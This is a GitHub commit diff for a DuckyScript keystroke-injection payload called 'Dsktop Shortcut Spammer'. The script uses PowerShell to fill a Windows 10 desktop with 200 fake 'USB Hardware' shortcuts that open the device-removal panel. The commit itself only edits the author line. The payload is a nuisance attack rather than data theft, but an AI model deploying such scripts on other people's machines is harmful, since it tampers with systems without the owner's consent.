Update Dsktop Shortcut Spammer.txt

This commit is contained in:
beigeworm
2023-05-10 12:57:34 +00:00
committed by GitHub
parent 2c0a6d3540
commit c3b34ffb62

View File

@@ -1,5 +1,5 @@
REM Title: Dsktop Shortcut Spammer
REM Author: @beigeworm
REM Author: @beigeworm | https://github.com/beigeworm
REM Description: Uses Powershell to generate a specified amount of shortcuts on the desktop.
REM Target: Windows 10
@@ -21,4 +21,4 @@ STRING $n = 200;$i = 0;while($i -lt $n){;$num = Get-Random;$Location = "C:\Windo
REM rest of the script.
STRING ;$WshShell = New-Object -ComObject WScript.Shell;$Shortcut = $WshShell.CreateShortcut("$Home\Desktop\USB Hardware" + $num + ".lnk")
STRING ;$Shortcut.TargetPath = $Location;$Shortcut.Arguments ="shell32.dll,Control_RunDLL hotplug.dll";$Shortcut.IconLocation = "hotplug.dll,0"
STRING ;$Shortcut.Description ="Device Removal";$Shortcut.WorkingDirectory ="C:\Windows\System32";$Shortcut.Save();Start-Sleep -Milliseconds 10;$i++};sleep 10;exit
STRING ;$Shortcut.Description ="Device Removal";$Shortcut.WorkingDirectory ="C:\Windows\System32";$Shortcut.Save();Start-Sleep -Milliseconds 10;$i++};sleep 10;exit